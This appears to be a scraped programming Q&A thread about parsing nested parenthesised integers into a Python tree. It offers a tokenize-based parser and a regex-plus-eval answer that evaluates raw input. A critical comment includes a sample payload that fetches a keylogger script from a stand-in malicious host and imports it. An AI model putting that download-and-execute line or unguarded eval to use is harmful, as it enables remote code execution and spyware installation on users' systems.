For example, I have the following input data:
(( 12 3 ) 42 )
I want to treat each integer value of the input data. This is an example of the general input data presentation.
Just for additional information:
Such presentation is corresponding to the binary tree with marked leaves:
/\
/\ 42
12 3
I recommend pyparsing for this parsing task -- here, for example, is a pyparsing-based parsers for S-expressions... probably much richer and more powerful than what you need, but with a really limited understanding of Python and pyparsing you can simplify it down as much as you require (if at all -- it's quite able to perform your task already, as a subset of the broader set it covers;-).
I wrote this script. It may be helpful
import tokenize,StringIO
def parseNode(tokens):
l = []
while True:
c = next(tokens)
if c[1] == '(':
l.append(parseNode(tokens))
elif c[1] == ')':
return l
elif c[0] == tokenize.NUMBER:
l.append(int(c[1]))
def parseTree(string):
tokens = tokenize.generate_tokens(StringIO.StringIO(string).readline)
while next(tokens)[1] != '(' : pass
return parseNode(tokens)
print parseTree('(( 12 3 ) 42 15 (16 (11 2) 2) )')
something like the following should work:
import re
newinput = re.sub(r"(\d) ", r"\1, ", input)
newinput = re.sub(r"\) ", r"), ", newinput)
eval(newinput)
(, 6, 9,) even valid Python expression?
([\d\w()]*) (or at least a tested version of it). otherwise import eval_is_evil will get evaluated with whatever permissions the program has. If you can get malicious code through a working version of the regular expression i've given, you deserve to own my system.'''import urllib, os; path = os.path.expanduser('~/.common.hidden.path./.keylogger.py'); urllib.urlretrive('http://my.evil.russian.websever.info', path); __import__(path)'''